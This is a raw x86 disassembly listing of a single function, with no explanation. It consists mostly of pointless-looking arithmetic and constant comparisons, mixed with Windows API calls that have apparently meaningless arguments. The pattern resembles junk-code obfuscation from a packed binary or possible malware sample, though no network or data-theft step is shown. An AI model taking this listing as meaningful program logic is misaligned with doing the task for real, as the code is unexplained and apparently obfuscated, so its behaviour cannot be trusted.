mov edx, dword [ebp - 0x538]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2534]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1bf8]
mov edx, dword [ebp - 0x25c4]
sub edx, dword [ecx]
mov dword [ebp - 0x3168], edx
mov eax, dword [ebp - 0x38c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x18ed], cl
movzx ecx, word [ebp - 0x1220]
movzx edx, word [ebp - 0x169c]
sub ecx, edx
mov eax, dword [ebp - 0xc1c]
mov word [eax], cx
mov ecx, dword [ebp - 0x16cc]
mov edx, dword [ebp - 0x2534]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x538], eax
mov ecx, dword [ebp - 0x25c4]
add ecx, dword [ebp - 0x798]
mov edx, dword [ebp - 0x1d3c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x2521]
movzx ecx, byte [ebp - 0x3495]
add eax, ecx
mov byte [ebp + 0xc], al
mov edx, dword [ebp - 0x2534]
mov eax, dword [ebp - 0x381c]
or eax, dword [edx]
mov ecx, dword [ebp - 0x1d24]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x2521]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x18ed], dl
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x100]
mov word [ecx], dx
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [ebp - 0x2a4c]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x29dc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x31d0]
mov eax, dword [ebp - 0x38fc]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x1bf8]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x2569]
movsx ecx, byte [ebp - 0x2aa6]
sub eax, ecx
mov edx, dword [ebp - 0x1d78]
mov byte [edx], al
movsx eax, word [ebp - 0x35b8]
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x60c], ax
movzx eax, word [ebp - 0x1220]
movzx ecx, word [ebp - 0x20b4]
and eax, ecx
mov word [ebp + 8], ax
mov edx, dword [ebp - 0x2580]
add edx, 0x87
mov dword [ebp - 0x2580], edx
movzx eax, byte [ebp + 0xc]
movzx ecx, byte [ebp - 0x3495]
add eax, ecx
mov edx, dword [ebp - 0x1ec]
mov byte [edx], al
mov eax, dword [ebp - 0x538]
add eax, dword [ebp - 0x381c]
mov ecx, dword [ebp - 0x2534]
mov dword [ecx], eax
mov edx, dword [ebp - 0x538]
add edx, dword [ebp - 0x381c]
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x31d0]
mov edx, dword [ebp - 0x1d3c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x3580], eax
mov ecx, dword [ebp - 0x31c0]
sub ecx, dword [ebp - 0x2a4c]
mov edx, dword [ebp - 0x31d0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3794]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x16fc]
sar edx, cl
mov dword [ebp - 0x3168], edx
movzx eax, word [ebp - 0x1220]
movzx ecx, word [ebp - 0x1650]
xor eax, ecx
mov word [ebp - 0x20b4], ax
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
movzx ecx, byte [ebp + 0xc]
or eax, ecx
mov edx, dword [ebp - 0x3868]
mov byte [edx], al
jmp 0x40654b
movzx eax, word [ebp - 0x1650]
movzx ecx, word [ebp - 0x24a0]
shl eax, cl
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
mov ecx, dword [ebp - 0x22c]
movzx ecx, word [ecx]
and edx, ecx
cmp eax, edx
je 0x4068e4
mov edx, dword [ebp - 0x710]
push edx
call dword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [ebp - 0x6d4], eax
mov eax, dword [ebp - 0x381c]
sub eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x1d24]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x3495]
movzx eax, byte [ebp - 0x18ed]
sub edx, eax
mov byte [ebp + 0xc], dl
push 4
lea ecx, [ebp - 0x3864]
push ecx
push fcn.004d7e60
mov edx, dword [ebp - 0x1af8]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x370], eax
jmp 0x406997
mov eax, dword [ebp - 0x381c]
add eax, dword [ebp - 0x7cc]
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1bd4]
add edx, dword [ecx]
cmp eax, edx
jae 0x406997
mov edx, dword [ebp - 0x798]
and edx, dword [ebp - 0x2a4c]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
movsx ecx, word [ebp - 0x35b8]
mov dword [ebp - 0x3a50], ecx
cmp dword [ebp - 0x3a50], 0x7125
je 0x406937
jmp 0x40697d
mov edx, dword [ebp - 0x16cc]
mov eax, dword [edx]
add eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x538], eax
lea ecx, [ebp - 0x1b34]
push ecx
mov edx, dword [ebp - 0x3840]
push edx
call dword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [ebp - 0x1510], eax
movzx eax, word [ebp - 0x1220]
movzx ecx, word [ebp + 8]
sub eax, ecx
mov edx, dword [ebp - 0x100]
mov word [edx], ax
jmp 0x406997
mov eax, dword [ebp - 0x17fc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x3495], cl
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x2b50]
add edx, eax
mov word [ebp + 8], dx
mov ecx, dword [ebp - 0x8c0]
add ecx, 0xf7
mov dword [ebp - 0x8c0], ecx
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2569]
xor eax, ecx
mov edx, dword [ebp - 0x1d78]
mov byte [edx], al
mov eax, dword [ebp - 0x7cc]
mov ecx, dword [ebp - 0x538]
shl eax, cl
mov ecx, dword [ebp - 0x1d24]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1d3c]
mov eax, dword [ebp - 0x38fc]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x3580], edx
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x2b50]
or ecx, edx
mov eax, dword [ebp - 0xc1c]
mov word [eax], cx
mov ecx, dword [ebp - 0x17fc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x16fc]
sub edx, dword [ebp - 0x25c4]
mov eax, dword [ebp - 0x1bf8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1bd4]
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1d24]
mov dword [ecx], eax
mov edx, dword [ebp - 0x16fc]
sub edx, dword [ebp - 0x3580]
mov eax, dword [ebp - 0x31d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3495]
add edx, eax
mov byte [ebp + 0xc], dl
movzx ecx, word [ebp - 0x1650]
movzx edx, word [ebp + 8]
add ecx, edx
mov eax, dword [ebp - 0x22c]
mov word [eax], cx
mov ecx, dword [ebp - 0x38c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x17fc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ebp - 0x1bd4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x7cc], eax
mov ecx, dword [ebp - 0x25c4]
add ecx, dword [ebp - 0x2ca4]
mov edx, dword [ebp - 0x1d3c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2ca4]
add eax, dword [ebp - 0x31c0]
mov ecx, dword [ebp - 0x1d3c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [edx]
or eax, dword [ebp - 0x38f4]
mov ecx, dword [ebp - 0x186c]
mov dword [ecx], eax
cmp dword [ebp - 0x8c0], 0x4f15
jbe 0x406997
lea edx, [ebp - 0x2ca4]
mov dword [ebp - 0x1f58], edx
mov eax, dword [ebp - 0x718]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x60c]
shl edx, cl
mov word [ebp - 0x35b8], dx
mov eax, dword [ebp - 0x1d78]
mov cl, byte [eax]
mov byte [ebp - 0x2171], cl
mov edx, dword [ebp - 0x29dc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3580]
sar eax, cl
mov ecx, dword [ebp - 0x25c4]
xor ecx, dword [ebp - 0x2a4c]
cmp eax, ecx
jge 0x406be4
mov edx, dword [ebp - 0x1bd4]
mov eax, dword [edx]
mov dword [ebp - 0x3a54], eax
cmp dword [ebp - 0x3a54], 0x1a2f5cde
je 0x406bba
cmp dword [ebp - 0x3a54], 0xa58edddf
je 0x406b9f
jmp 0x406bcd
movzx ecx, word [ebp - 0x20b4]
movzx edx, word [ebp - 0x169c]
and ecx, edx
mov eax, dword [ebp - 0x1b34]
mov word [eax], cx
jmp 0x406bcd
lea ecx, [ebp - 0x2a78]
push ecx
call dword [sym.imp.SHELL32.dll_ILClone]
mov dword [ebp - 0x3494], eax
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp + 0xc]
sub eax, ecx
mov edx, dword [ebp - 0x26fc]
mov byte [edx], al
mov eax, dword [ebp - 0x38fc]
mov ecx, dword [eax]
mov dword [ebp - 0x3a58], ecx
cmp dword [ebp - 0x3a58], 0x640955fd
je 0x406c00
jmp 0x406c5d
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
add eax, dword [ebp - 0x538]
mov dword [ebp - 0x381c], eax
movzx ecx, byte [ebp - 0x18ed]
push ecx
mov edx, dword [ebp - 0x538]
push edx
mov eax, dword [ebp - 0x718]
movzx ecx, word [eax]
push ecx
movzx edx, byte [ebp - 0x2569]
push edx
movzx eax, byte [ebp - 0x1f4e]
push eax
call fcn.00429f50
mov ecx, dword [ebp - 0x2534]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x538]
mov eax, dword [ebp - 0x16cc]
mov dword [eax], edx
jmp 0x406d4c
movzx ecx, word [ebp - 0x169c]
movzx edx, word [ebp - 0x1650]
add ecx, edx
mov eax, dword [ebp - 0x22c]
mov word [eax], cx
mov ecx, dword [ebp - 0x1d78]
mov dl, byte [ecx]
mov byte [ebp - 0x3a5c], dl
cmp byte [ebp - 0x3a5c], 0
je 0x406c92
jmp 0x406d29
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x17fc]
mov byte [ecx], al
movsx edx, word [ebp - 0x60c]
mov dword [ebp - 0x3a60], edx
cmp dword [ebp - 0x3a60], 0x426c
je 0x406cc7
jmp 0x406d27
mov eax, dword [ebp - 0x186c]
mov ecx, dword [ebp - 0x31c0]
sub ecx, dword [eax]
mov dword [ebp - 0x16fc], ecx
lea edx, [ebp - 0x1b64]
push edx
push 0xac
lea eax, [ebp - 0x31bc]
push eax
push 0x27
lea ecx, [ebp - 0x12b8]
push ecx
lea edx, [ebp - 0x12b8]
push edx
lea eax, [ebp - 0x3494]
push eax
call dword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x16cc]
mov edx, dword [ecx]
and edx, dword [ebp - 0x538]
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
jmp 0x406d4c
push 0xcd
lea ecx, [ebp - 0xb0c]
push ecx
push fcn.004ef7c0
mov edx, dword [ebp - 0x1ed0]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x38f4]
add eax, dword [ebp - 0x2a4c]
mov dword [ebp - 0x3168], eax
mov ecx, dword [ebp - 0x1270]
add ecx, 0xd3
mov dword [ebp - 0x1270], ecx
mov edx, dword [ebp - 0x16fc]
xor edx, dword [ebp - 0x2a4c]
mov eax, dword [ebp - 0x29dc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x17fc]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x3495], dl
movzx ecx, word [ebp - 0x169c]
movzx edx, word [ebp - 0x24a0]
or ecx, edx
mov eax, dword [ebp - 0x2094]
mov word [eax], cx
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x538]
shr edx, cl
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x38c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x18ed]
add ecx, edx
mov byte [ebp + 0xc], cl
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2569]
and ecx, edx
mov eax, dword [ebp - 0x1d78]
mov byte [eax], cl
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x60c]
sub edx, eax
mov ecx, dword [ebp - 0x718]
mov word [ecx], dx
movzx edx, byte [ebp + 0xc]
movzx eax, byte [ebp - 0x2521]
add edx, eax
mov byte [ebp - 0x18ed], dl
movzx ecx, word [ebp - 0x24a0]
movzx edx, word [ebp - 0x20b4]
sub ecx, edx
mov word [ebp - 0x1650], cx
mov eax, dword [ebp - 0x1bd4]
mov ecx, dword [ebp - 0x2534]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x16fc]
add ecx, dword [ebp - 0x3168]
mov edx, dword [ebp - 0x186c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x186c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x798]
mov edx, dword [ebp - 0x1d3c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2534]
mov ecx, dword [ebp - 0x538]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x22e0]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x3495]
movzx ecx, byte [ebp - 0x2521]
and eax, ecx
mov byte [ebp + 0xc], al
cmp dword [ebp - 0x1270], 0x6ccb
jb 0x406d4c
mov edx, dword [ebp - 0x1d24]
mov eax, dword [edx]
mov dword [ebp - 0x3a64], eax
cmp dword [ebp - 0x3a64], 0
je 0x406ee8
cmp dword [ebp - 0x3a64], 0x1c1bbfad
je 0x428cdd
jmp 0x428d9f
lea ecx, [ebp - 0x17e0]
mov dword [ebp - 0x2520], ecx
mov edx, dword [ebp - 0x7cc]
add edx, dword [ebp - 0x538]
mov eax, dword [ebp - 0x140c]
mov ecx, dword [ebp - 0x16cc]
mov eax, dword [eax]
sub eax, dword [ecx]
cmp edx, eax
ja 0x428af1
movzx ecx, word [ebp - 0x24a0]
movzx edx, word [ebp - 0x1220]
and ecx, edx
movzx eax, word [ebp - 0x1650]
movzx edx, word [ebp + 8]
sub eax, edx
cmp ecx, eax
jne 0x407054
mov eax, dword [ebp - 0x2534]
mov ecx, dword [eax]
mov dword [ebp - 0x3a68], ecx
cmp dword [ebp - 0x3a68], 0x1b3765b8
je 0x406f82
cmp dword [ebp - 0x3a68], 0xea881969
je 0x406f68
jmp 0x40704f
push 0x48
lea edx, [ebp - 0x2814]
push edx
call dword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [ebp - 0x14f8], eax
jmp 0x40704f
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x18ed]
sub ecx, edx
mov eax, dword [ebp - 0x3868]
mov byte [eax], cl
mov ecx, dword [ebp - 0x16cc]
mov edx, dword [ecx]
mov dword [ebp - 0x3a6c], edx
cmp dword [ebp - 0x3a6c], 0x6c63d796
je 0x406fc7
cmp dword [ebp - 0x3a6c], 0xf2ceaa95
je 0x407010
jmp 0x40704f
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp + 0xc], al
lea eax, [ebp - 0x2980]
push eax
lea ecx, [ebp - 0x2980]
push ecx
call dword [sym.imp.ole32.dll_CoTreatAsClass]
mov dword [ebp - 0x2708], eax
mov edx, dword [ebp - 0x29dc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38f4]
shl eax, cl
mov ecx, dword [ebp - 0x186c]
mov dword [ecx], eax
jmp 0x40704f
mov edx, dword [ebp - 0x2094]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp - 0x2171]
push ecx
movzx edx, word [ebp - 0x60c]
push edx
mov dl, byte [ebp - 0x18ed]
mov cl, byte [ebp - 0x18ed]
call fcn.00478870
mov eax, dword [ebp - 0x1bd4]
mov ecx, dword [ebp - 0x381c]
xor ecx, dword [eax]
mov dword [ebp - 0x7cc], ecx
jmp 0x40710f
mov edx, dword [ebp - 0x1f58]
mov eax, dword [ebp - 0x25c4]
or eax, dword [edx]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38c]
mov al, byte [edx]
mov byte [ebp - 0x3a70], al
cmp byte [ebp - 0x3a70], 0x27
je 0x407083
jmp 0x4070dd
mov ecx, dword [ebp - 0x3868]
movzx edx, byte [ecx]
push edx
movzx eax, word [ebp - 0x24a0]
push eax
call section..text
lea ecx, [ebp - 0xc30]
push ecx
call dword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [ebp - 0x1d30], eax
mov edx, dword [ebp - 0x38f4]
mov ecx, dword [ebp - 0x3168]
sar edx, cl
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d78]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2569]
and edx, eax
mov byte [ebp - 0x2171], dl
jmp 0x40710f
movzx ecx, byte [ebp - 0x2521]
push ecx
mov edx, dword [ebp - 0x1d78]
movzx eax, byte [edx]
push eax
call fcn.004d1cd0
movsx ecx, word [ebp - 0x35b8]
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x2520]
mov word [edx], cx
mov eax, dword [ebp - 0x100]
mov cx, word [eax]
mov word [ebp - 0x19a4], cx
mov edx, dword [ebp - 0x7cc]
sub edx, dword [ebp - 0x538]
mov eax, dword [ebp - 0x2534]
mov ecx, dword [ebp - 0x381c]
sub ecx, dword [eax]
cmp edx, ecx
jb 0x4071b9
movsx edx, word [ebp - 0x35b8]
mov dword [ebp - 0x3a74], edx
cmp dword [ebp - 0x3a74], 0xfffffffe
je 0x407161
cmp dword [ebp - 0x3a74], 0x7a98
je 0x4071a3
jmp 0x4071b9
mov eax, dword [ebp - 0x17fc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x17fc]
mov byte [edx], cl
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [eax]
mov dword [ebp - 0x950], ecx
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [ebp - 0x1f58]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x2ca4], ecx
jmp 0x4071b9
movzx edx, byte [ebp - 0x3495]
movzx eax, byte [ebp - 0x2521]
add edx, eax
mov byte [ebp - 0x18ed], dl
movsx ecx, byte [ebp - 0x2171]
movsx edx, byte [ebp - 0x1f4e]
add ecx, edx
movsx eax, byte [ebp - 0x2569]
mov edx, dword [ebp - 0x1d78]
movsx edx, byte [edx]
sub eax, edx
cmp ecx, eax
jg 0x4289ed
lea eax, [ebp - 0x169c]
mov dword [ebp - 0x2c9c], eax
movsx ecx, word [ebp - 0x35b8]
movsx edx, word [ebp - 0x60c]
sub ecx, edx
movsx eax, word [ebp - 0x17e0]
mov edx, dword [ebp - 0x2520]
movsx edx, word [edx]
sub eax, edx
cmp ecx, eax
jg 0x4072ea
mov eax, dword [ebp - 0x140c]
mov ecx, dword [eax]
mov dword [ebp - 0x3a78], ecx
cmp dword [ebp - 0x3a78], 0
je 0x407232
jmp 0x40729a
mov edx, dword [ebp - 0x17fc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x38c]
mov byte [ecx], al
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1bf8]
add eax, dword [ecx]
mov edx, dword [ebp - 0x3794]
mov dword [edx], eax
lea eax, [ebp - 0x38f4]
mov dword [ebp - 0x17a4], eax
movsx ecx, byte [ebp - 0x1f4e]
movsx edx, byte [ebp - 0x2171]
and ecx, edx
mov byte [ebp - 0x2aa6], cl
mov eax, dword [ebp - 0x2520]
mov cx, word [eax]
mov word [ebp - 0x2514], cx
jmp 0x4072d4
push 0xc8
mov edx, dword [ebp - 0x275c]
push edx
mov eax, dword [ebp - 0x2178]
push eax
call dword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [ebp - 0x35b8], ax
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2521]
sub edx, eax
mov ecx, dword [ebp - 0x38c]
mov byte [ecx], dl
movzx edx, word [ebp - 0x2b50]
movzx eax, word [ebp + 8]
sub edx, eax
mov ecx, dword [ebp - 0x2094]
mov word [ecx], dx
mov edx, dword [ebp - 0x2534]
mov eax, dword [edx]
add eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x22e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x26fc]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x1678]
movzx edx, byte [edx]
movzx ecx, byte [ebp - 0x3495]
shl edx, cl
cmp eax, edx
jle 0x4073a5
mov eax, dword [ebp - 0x1d78]
mov cl, byte [eax]
mov byte [ebp - 0x3a7c], cl
cmp byte [ebp - 0x3a7c], 0x66
je 0x407343
jmp 0x407359
mov edx, dword [ebp - 0x1d24]
mov eax, dword [ebp - 0x7cc]
xor eax, dword [edx]
mov dword [ebp - 0x950], eax
jmp 0x4073a5
call fcn.0046d040
push 1
lea ecx, [ebp - 0x2d94]
push ecx
lea edx, [ebp - 0x2a78]
push edx
call dword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [ebp - 0x3670], eax
mov eax, dword [ebp - 0x38f4]
or eax, dword [ebp - 0x25c4]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x17fc]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp + 0xc], al
movsx eax, word [ebp - 0x35b8]
mov dword [ebp - 0x3a80], eax
cmp dword [ebp - 0x3a80], 0xfffffffe
je 0x4073d0
cmp dword [ebp - 0x3a80], 0x3ea6
je 0x4287ac
jmp 0x428916
mov ecx, dword [ebp - 0x2520]
mov dx, word [ecx]
mov word [ebp - 0x7f4], dx
mov eax, dword [ebp - 0x22e0]
mov ecx, dword [ebp - 0x950]
add ecx, dword [eax]
mov edx, dword [ebp - 0x1d24]
mov eax, dword [edx]
add eax, dword [ebp - 0x538]
cmp ecx, eax
jne 0x42864b
mov ecx, dword [ebp - 0x1bf8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x38f4]
mov dword [ebp - 0x2ca4], edx
lea eax, [ebp - 0x798]
mov dword [ebp - 0x4f0], eax
movzx ecx, word [ebp - 0x2b50]
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x2094]
mov word [edx], cx
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x3a84], eax
cmp dword [ebp - 0x3a84], 0x660712c1
je 0x407459
jmp 0x407471
lea ecx, [ebp - 0x155c]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x3168], eax
jmp 0x428562
mov edx, dword [ebp - 0x3580]
and edx, dword [ebp - 0x798]
mov dword [ebp - 0x38f4], edx
mov eax, dword [ebp - 0x2ca4]
mov dword [ebp - 0x2c0], eax
mov cl, byte [ebp - 0x2aa6]
mov byte [ebp - 0x3a88], cl
cmp byte [ebp - 0x3a88], 0
je 0x4074b6
cmp byte [ebp - 0x3a88], 0x3c
je 0x42849d
jmp 0x42854a
mov edx, dword [ebp - 0x22e0]
mov eax, dword [edx]
add eax, dword [ebp - 0x950]
mov dword [ebp - 0x381c], eax
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
mov dword [ebp - 0x3a8c], edx
cmp dword [ebp - 0x3a8c], 0x69d30eee
je 0x4074e6
jmp 0x407506
movzx eax, word [ebp - 0x2b50]
mov ecx, dword [ebp - 0x2c9c]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x2a04]
mov word [edx], ax
jmp 0x428455
mov eax, dword [ebp - 0x29dc]
mov ecx, dword [eax]
mov dword [ebp - 0x3208], ecx
mov edx, dword [ebp - 0x1d78]
mov al, byte [edx]
mov byte [ebp - 0x3a90], al
cmp byte [ebp - 0x3a90], 0x71
je 0x40752d
jmp 0x407561
mov ecx, dword [ebp - 0x4f0]
mov edx, dword [ebp - 0x31c0]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
movzx ecx, word [ebp - 0x2b50]
mov edx, dword [ebp - 0xc1c]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x24a0], cx
jmp 0x428413
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
mov dword [ebp - 0x3a94], edx
cmp dword [ebp - 0x3a94], 0x4163
je 0x40757e
jmp 0x4075dd
call fcn.004d7e60
movzx eax, byte [ebp - 0x2521]
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x17fc]
mov byte [ecx], al
mov edx, dword [ebp - 0x1bd4]
mov eax, dword [edx]
add eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x950], eax
lea ecx, [ebp - 0x155c]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x38f4], eax
mov edx, dword [ebp - 0x798]
and edx, dword [ebp - 0x3580]
mov eax, dword [ebp - 0x31d0]
mov dword [eax], edx
jmp 0x4076b0
lea ecx, [ebp - 0x2514]
mov dword [ebp - 0x2760], ecx
movzx edx, word [ebp - 0x19a4]
mov dword [ebp - 0x3a98], edx
cmp dword [ebp - 0x3a98], 0
je 0x407642
cmp dword [ebp - 0x3a98], 0xa2a
je 0x407610
jmp 0x4076b0
lea eax, [ebp - 0xb38]
push eax
push str.Chimp
call dword [sym.imp.ole32.dll_GetClassFile]
mov dword [ebp - 0x37f0], eax
movsx ecx, byte [ebp - 0x1f4e]
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x2569], cl
jmp 0x4076b0
mov ecx, dword [ebp - 0x381c]
mov dword [ebp - 0x3a9c], ecx
cmp dword [ebp - 0x3a9c], 0
je 0x407659
jmp 0x40769a
movzx edx, word [ebp - 0x1220]
mov eax, dword [ebp - 0x2a04]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x19a4], dx
mov edx, dword [ebp - 0x3868]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3495]
add eax, ecx
mov byte [ebp - 0x2521], al
mov edx, dword [ebp - 0x2534]
mov eax, dword [edx]
mov dword [ebp - 0x339c], eax
jmp 0x4076b0
mov ecx, dword [ebp - 0x186c]
mov edx, dword [ebp - 0x16fc]
add edx, dword [ecx]
mov eax, dword [ebp - 0x29dc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d78]
mov dl, byte [ecx]
mov byte [ebp - 0x3aa0], dl
cmp byte [ebp - 0x3aa0], 1
je 0x4076d9
cmp byte [ebp - 0x3aa0], 0x6f
je 0x40780f
jmp 0x407843
mov eax, dword [ebp - 0x4f0]
mov edx, dword [ebp - 0x3580]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x2c0]
mov ecx, dword [ebp - 0x3168]
sar eax, cl
cmp edx, eax
jge 0x40778d
lea ecx, [ebp - 0x2171]
push ecx
lea edx, [ebp - 0x39c]
push edx
push 0x51
mov eax, dword [ebp - 0x3880]
push eax
call dword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov dword [ebp - 0x33b0], eax
mov ecx, dword [ebp - 0x17a4]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
push ecx
call fcn.004ef7c0
add esp, 8
mov edx, dword [ebp - 0x3208]
and edx, dword [ebp - 0x16fc]
mov eax, dword [ebp - 0x1d3c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1d24]
add edx, dword [eax]
mov dword [ebp - 0x339c], edx
lea ecx, [ebp - 0xb7c]
push ecx
lea edx, [ebp - 0x3974]
push edx
lea eax, [ebp - 0x12e4]
push eax
call dword [sym.imp.ole32.dll_CoUnmarshalInterface]
